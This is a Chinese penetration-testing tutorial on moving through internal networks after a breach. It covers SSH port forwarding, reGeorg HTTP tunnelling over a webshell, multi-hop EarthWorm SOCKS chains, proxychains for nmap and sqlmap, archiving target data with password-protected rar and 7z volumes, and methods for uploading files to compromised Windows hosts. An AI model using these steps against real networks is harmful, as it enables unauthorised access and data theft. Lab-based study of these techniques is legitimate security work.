在内网建立一个稳定、可靠的数据通道,具有重要意义。应用层隧道通信技术主要利用软件提供的端口来发送数据。常用的SSH、HTTP、HTTPS和DNS

0x01 应用层隧道技术

SSH协议

几乎所有Linux\UNIX均支持SSH协议,一般情况SSH协议允许通过防火墙和边界设备。协议传输过程加密,难以区分合法与非合法。可利用SSH端口隧道突破防火墙的限制后,建立一些之前无法建立的TCP连接

如命令

1
ssh root@192.168.197.203

创建SSH隧道常用参数如下:

1
2
3
4
5
6
7
8
-c:压缩传输,提高传输速度
-f:将SSH传输转入后台执行,不占用当前的shell
-N:建立静默连接(建立了连接,但是看不到具体会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发(SOCKS代理)
-P:指定SSH端口

1.本地转发

测试环境如下:
  外部vps可以访问内网web服务器,但是不能访问数据库服务器,内网web服务器可以和数据库服务器互相访问。
测试目标:以web服务器为跳板,访问数据库服务器的3389端口

修改ssh服务器配置文件

1
2
3
4
5
/etc/ssh/sshd_config
– PermitRootLogin yes
– Port 22
– PasswordAuthentication yes
▪ service ssh restart

模拟实验环境

1
2
3
kali1攻击机vps:192.168.197.160
kali2跳板机web服务器:192.168.197.190
windows10目标机数据库服务器:192.168.197.174
1
2
3
4
5
ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>

ssh -fCNg -L 1153(VPS端口):192.168.197.174(目标主机):3389(目标端口) root@192.168.197.190(跳板机)

ssh -fCNg -L 1153:192.168.197.174:3389 root@192.168.197.190

netstat -anptl | grep 1153 查看本地1153端口,可以看到1153端口已经开启侦听

使用rdesktop连接vps的1153端口,可以发现已经与数据服务器192.168.197.174的3389建立了连接

1
rdesktop 127.0.0.1:1153

SSH进程的本地端口映射可以将本地(客户机)的某个端口转发到远端指定机器的指定端口,本地端口转发则是在本地(客户机)监听一个端口,所有访问这个端口的数据都会通过SSH隧道传输到远端的对应端口

2.远程转发

测试环境如下:
  小型内网,包含三台机器;内网没有边界设备,所以外部的vps不能访问内网中的三台机器;内网web服务器可以访问外网vps,数据库服务器和域控服务器均不能访问外网的vps。
测试目标:通过外网vps访问数据库服务器的3389端口

模拟实验环境

1
2
3
kali1攻击机vps:192.168.197.160
kali2跳板机web服务器:192.168.197.190
windows10目标机数据库服务器:192.168.197.174

在web服务器上执行如下命令

1
2
3
ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH server> -p <ssh server port>
ssh -fCNg -R 3307:192.168.197.174:3389 root@192.168.197.160
ssh -fCNg -R 3307:192.168.197.174:3389 root@192.168.197.160

查看远程 vps(192.168.197.160)发现已经开启对3307端口的监听

1
netstat -anptl | grep 3307

访问vps的3307端口,即可与数据库服务器的3389端口建立连接

1
rdesktop 127.0.0.1:3307

本地转发是将远程主机(服务器)某个端口的数据转发到本地机器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地的对应端口

3.动态转发

模拟实验环境

1
2
3
4
kali1攻击机vps:192.168.197.160
kali2跳板机web服务器:192.168.197.190
windows10目标机数据库服务器:192.168.197.204
域控服务器:x.x.x.x

在vps上执行如下命令,建立一个动态的socks代理通道

1
ssh -fCNg -D 7000 root@192.168.197.190

查看本地7000端口的监听是否已经启动,可以看到ssh正在监听7000端口

1
netstat -tulnp | grep ":7000"

然后在本地打开浏览器并设置网络代理,通过浏览器访问内网域控制器地址

动态端口映射就是建立一个SSH加密的SOCKS 4/5代理通道。任何支持SOCKS 4/5协议的程序都可以使用这个加密通道进行代理访问

HTTP/HTTPS协议

HTTP Service代理用于将所有的流量转发到内网。常见代理工具reGeorg、meterpreter、tunna

reGeorg主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信

下载地址:https://github.com/sensepost/reGeorg

将脚本文件上传到目标服务器,使用攻击机在本地访问远程服务器上的tunnel.jsp文件。返回后,利用reGeorgSocksProxy.py脚本监听本地9999端口,建立一个通信链路

1
python reGeorgSocksProxy.py -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp -p 9999

查看本地9999端口是否已经开启

1
netstat -ntlp

隧道正常后,可以在本地kali linux机器上使用ProxyChains之类的工具访问内网

0x02 SOCKS代理

常见的网络场景如下三类:

  • 服务器在内网中,可以任意访问外部网络
  • 服务器在内网中,可以任意访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接
  • 服务器在内网中,对外只开放了部分端口(例如80端口),且服务器不能访问外部网络
常用的SOCKS代理工具

SOCKS是一种代理服务,可简单将一端系统连接到另一端。SOCKS支持多种协议,包括HTTP、FTP等。SOCKS分为SOCKS4和SOCKS5两种类型:SOCKS4只支持TCP协议,SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制,标准端口为1080。SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发

SOCKS代理可理解为增强版lcx。它的服务端监听一个服务端口,当有新的连接请求出现时,会先从SOCKS协议中解析出目标的URL的目标端口,再执行lcx的具体功能,在选择SOCKS代理工具的时候尽量选没有GUI界面,不需要安装其他依赖软件的SOCKS代理工具,支持多平台优先

常见内网渗透测试环境:

1.EarthWorm

EarthWorm(EW)具有SOCKS5服务器架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。

EW能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。

EW提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内

下载地址:https://github.com/rootkiter/EarthWorm

2.reGeorg

reGeorg主要功能是把内网服务器的端口通过HTTP/HTTPS隧道转发到本机,形成一个回路

reGeorg可以使目标服务器在内网中(或者设置了端口策略的情况下)连接内部开放端口。reGeorg利用webshell建立一个SOCKS代理进行内网穿透,服务器必须支持ASPX、PHP、JSP中的一种

下载地址:https://github.com/sensepost/reGeorg

3.sSocks

sSocks是SOCKS代理工具套装,可用来开启SOCKS代理服务。sSocks支持SOCKS5验证,支持IPv6和UDP,并提供反向SOCKS代理服务(将远程计算机作为SOCKS代理服务端反弹到本地)

4.SocksCap64

SocksCap64是一款windows环境下的全局代理

SocksCap64可以使windows应用程序通过SOCKS代理服务器来访问网络,二不需要对这些程序进行任何修改。即使那些不支持SOCKS代理的应用程序,也可以通过SocksCap64实现代理访问

下载地址:https://www.sockscap64.com/forums/topic/sockscap64-v3-3

5.Proxifier

Proxifier是一款好使的全局代理软件。Proxifier提供了跨平台的端口转发和代理功能,适用于windows、Linux、MacOS平台

6.ProxyChains

ProxyChains是一款可以在Linux下实现全局代理的软件,性能稳定、可以靠,可以使用任何程序通过代理上网,允许TCP和DNS流程通过代理隧道,支持HTTP、SOCKS4、SOCKS5类型的代理服务器

下载地址:http://proxychains.sourceforge.net/

SOCKS代理技术在网络环境中的应用

1.EarthWorm使用

EW有六种命令格式,分别是ssocksd、restocks、lcx_slave、lcx_listen、lcx_tran用于普通网络的正向连接命令是ssocksd用于反弹连接的命令是rcsocks、rssocks

正向代理是指主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主动连接

测试环境:

假设已获取一台web服务器的权限,服务器的内网IP弟子为10.48.128.25,web服务器是连接外网和内网的关键节点,内网其他服务器之间不能直接连接

1
2
3
4
5
6
7
vps:139.*.*.113
web服务器(windows server 2003):10.48.128.25

服务器:10.48.128.20 端口:3389
web服务器:10.48.128.49 端口:22,80
数据库服务器:10.48.128.48 端口:3306
路由器:10.48.128.22 端口:80

(1) 正向SOCKS5服务器

目标机器拥有一个外网IP地址的情况,命令如下

1
ew -s ssocksd -l 888

即可架设一个端口为888的代理。之后使用SocksCap64添加这个IP的代理即可

(2) 反弹SOCKS 5服务器

目标机器没有公网IP地址的情况如下,(使其可以访问内网资源)

第一,上传EW到vps139...113上,执行如下命令

1
ew -s rcsocks -l 1008 -e 888

意思为:在vps上添加一个转接隧道,把1080端口收到的代理请求转发给888

第二,上传EW到web服务器10.48.128.25上,执行如下命令

1
ew -s rssocks -d 139.*.*.113 -e 888

意思为:在IP地址10.48.128.25的服务器上启动SOCKS5服务器,反弹到VPS上的888端口

之后即可在VPS命令行界面,看到反弹成功

(3) 二级网络环境

测试环境:

假设已获取A主机和B主机权限。A主机配有两块网卡,一块能丽连接外网,另一块(10.48.128.25)只能连接内网中的B主机,但无法访问内网中的其他资源。B主机可以访问内网资源,无法访问外网。

1
2
3
4
5
6
A主机(有公网地址,不能访问内网):139.*.*113,10.48.128.25

B主机(不能访问外网,可以访问内网):10.48.128.49
服务器:10.48.128.20 端口:3389
数据库服务器:10.48.128.48 端口:3306
路由器:10.48.128.22 端口:80

第一,将EW上传B主机,利用ssocksd方式启动888端口的SOCKS代理,命令如下

1
ew -s ssocksd -l 888

第二,将EW上传到A主机中,执行如下命令

1
ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888

意思是:将1080端口收到的代理请求转发给B主机10.28.128.49的888端口,如此即可通过A主机(139..113)的外网1080端口使用B主机上架设的SOCKS5代理

(4) 二级网络环境

测试环境:

假设已获取A主机权限根B主机权限。A主机既没有公网IP地址,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。

1
2
3
4
5
6
7
VPS:139.*.*.113
A主机(没有公网地址,不能访问内网):10.48.128.25

B主机(不能访问外网,可以访问内网):10.48.128.49
服务器:10.48.128.20 端口:3389
数据库服务器:10.48.128.48 端口:3306
路由器:10.48.128.22 端口:80

使用lcx_listen命令和lcx_slave命令

第一,将EW上传到VPS上,执行如下命令

1
ew -s lcx_listen -l 10800 -e 888

意思是:在公网VPS上添加转接隧道,将10800端口收到的代理请求转发给888端口

第二,将EW上转到B主机中,并利用ssocksd方式启动999端口的SOCKS代理,命令如下

1
ew -s ssocksd -l 999

第三,将EW上传到A主机中,执行如下命令

1
ew -s lcx_slave -d 139.*.*.113 -e 888 -f 10.48.128.49 -g 999

意思是:在A主机上利用lcx_slave方式,将公网VPS的888端口和B主机的999端口连接起来。

最后,VPS上可看到连接成功信息,在VPS到的10800端口使用在B主机上假设的SOCKS5代理

(5)三级网络环境

如下为三级联命令

测试环境:

内网A主机没有公网IP地址,但可访问外网;B主机不能访问外网,但可被A主机访问;C主机可被B主机访问,且可访问核心区域。

1
2
3
4
5
6
7
8
9
10
VPS:139.*.*.113
A主机(没有公网IP地址,可以访问外网):192.168.1.1

B主机(不能访问外网,可以被A主机访问):10.48.128.12
服务器:10.48.128.20 端口:3389

C主机(可以访问核心区域,可以被B主机访问):192.168.0.10
服务器:192.168.0.11 端口:80

核心区域......

在公网VPS执行如下命令

1
ew -s rcsocks -l 1080 -e 888

在A主机上执行如下命令,将公网VPS的888端口和B主机的999端口连接起来

1
ew -s lcx_slave -d 139.*.*.113 -e 888 -f 10.48.128.12 -g 999

在B主机上执行如下命令,将999端口收到的代理请求转发给777端口

1
ew -s lcx_listen -l 999 -e 777

在C主机上启动SOCKS5服务器,并反弹到B主机的777端口上,命令如下

1
ew -s rssocks -d 10.48.128.12 -e 777

如此即可通过公网VPS带1080端口使用在C主机上架设的SOCKS 5代理

2.在windows下使用SocksCap64实现内网漫游

SocksCap64 管理员权限打开程序,单击代理按钮添加一个代理,设置一个代理服务器的IP地址和端口即可。之后使用闪电⚡️图标测试当前代理服务器是否可以连接。在快捷菜单栏中单击在代理隧道中运行选中程序即可访问内网资源。

3.在Linux下使用ProxyChains实现内网漫游

kali中的prochains,需要做一点配置,打开配置文件

1
vim /etc/proxychains.conf

删除dynamic_chain的注释,把socks4 127.0.0.1 9050改成想要访问的端口的信息

测试代理服务器是否能正常工作,命令如下

1
proxyresolv www.baidu.com

若显示未找到命令输入如下命令,即可访问内网资源

1
cp /usr/lib/proxychains3/proxyresolv /usr/bin/

访问格式

1
2
3
4
proxychains nmap
proxychains sqlmap
proxychains firefox
proxychains .......

0x03 压缩数据

渗透测试,下载数据是一项重要工作

RAR

RAR提供了强力压缩、分类、加密和自解压模块。如果目标机器上没有WinRAR,可在本地下载并安装后把WinRAR安装目录里面的rar.exe提取出来,上传到目标机器中(注:为避免出错,安装WinRAR操作系统版本和目标机器的操作系统版本必须相同)

常用参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
e:解压到当前根目录下
x:以绝对路径解压
-a:添加要压缩的文件
-k:锁定压缩文件
-s:生成存档文件(这样可以提高压缩比)
-p:指定压缩密码
-r:递归压缩,包括子目录
-x:指定要排除的文件
-v:分卷打包,在打包打文件时用处很大
-ep:从名称中排出路径
-ep1:从名称中排出基本目录
-m0:存储,添加到压缩文件时不压缩文件
-m1:最快,使用最快压缩方式(低压缩比)
-m2:较快,使用快速压缩方式
-m3:标准,使用标准压缩方式(默认)
-m4:较好,使用较强压缩方式(速度较慢)
-m5:最好,使用最强压缩方式(最好的压缩方式,但速度最慢)

1.以RAR格式压缩/解压

E:\webs\目录下的所有内容(包含子目录)打包为1.rar放到E:\webs\目录下,命令如下

1
Rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs

把打包的E:\webs\1.rar文件解压到当前根目录下,命令如下

1
Rar.exe E:\webs\1.rar

ZIP格式压缩/解压的命令和RAR一样,只需把后缀改成.zip

2.分卷压缩/解压

分卷压缩E盘API目录下的所有文件及文件夹(使用-r参数进行递归压缩),设置每个分卷为20MB,结构为test.part01.rar、test.part02.rar、test.part03.rar命令如下

1
Rar.exe a -m0 -r -v20m E:\test.rar E:\API

将E:\test.part01.rar解压到E盘的xl目录下,命令如下

1
Rar.exe x E:\test.part01.rar E:\xl
7-Zip

7-Zip支持7Z、XZ、BZIP、GZIP、TAR、ZIP、WIM等格式的压缩和解压缩。如果目标机器上没有安装,可在本地下载安装后,把7-Zip安装目录里的7z.exe文件提取出来,上传到目标机器中

下载地址:https://www.7-zip.org/

常见使用参数:

1
2
3
4
5
-r:递归压缩
-o:指定输出目录
-p:指定密码
-v:分卷压缩(设置要适当,否则文件会非常多)
a:添加压缩文件

1.普通压缩/解压方式

E:\webs\目录下的所有内容(包含子目录)打包为1.7z放到E:\webs\目录下,压缩密码为“12345”,命令如下

1
7z.exe a -r -p12345 E:\webs\1.7z E:\webs

把已经打包的E:\webs\1.7z文件解压到E:\x目录下,命令如下

1
7z.exe X -p12345 E:\webs\1.7z -OE:\X

2.分卷压缩/解压方式

分卷压缩E盘API目录下的所有文件及文件夹(使用-r参数进行递归压缩),指定压缩密码“admin”,每个分卷为20MB,结构为test.7z.001、test.7z.002、test.7z.003命令如下

1
7z.exe -r -vlm -padmin a E:\test.7z E:\API

将E:\test.7z.001解压到E盘的xl目录下

1
7z.exe x -padmin E:\test.7z.001 -oE:\xl

0x04 上传和下载

对于不能上传shell,但是可以执行命令的Windows服务器(而且是唯一的入口就是命令行环境),可以在shell命令行环境中对目标环境服务器进行上传和下载的操作

常用的方式如下:

  • 利用FTP协议上传
  • 利用VBS上传
  • 利用Debug上传
  • 利用Nishang上传(Download_Execute下载执行脚本)
  • 利用bitsadmin下载

参考链接

https://www.cnblogs.com/oneWhite/p/11169704.html

https://xz.aliyun.com/t/7245

https://www.tuicool.com/articles/JNRn6nY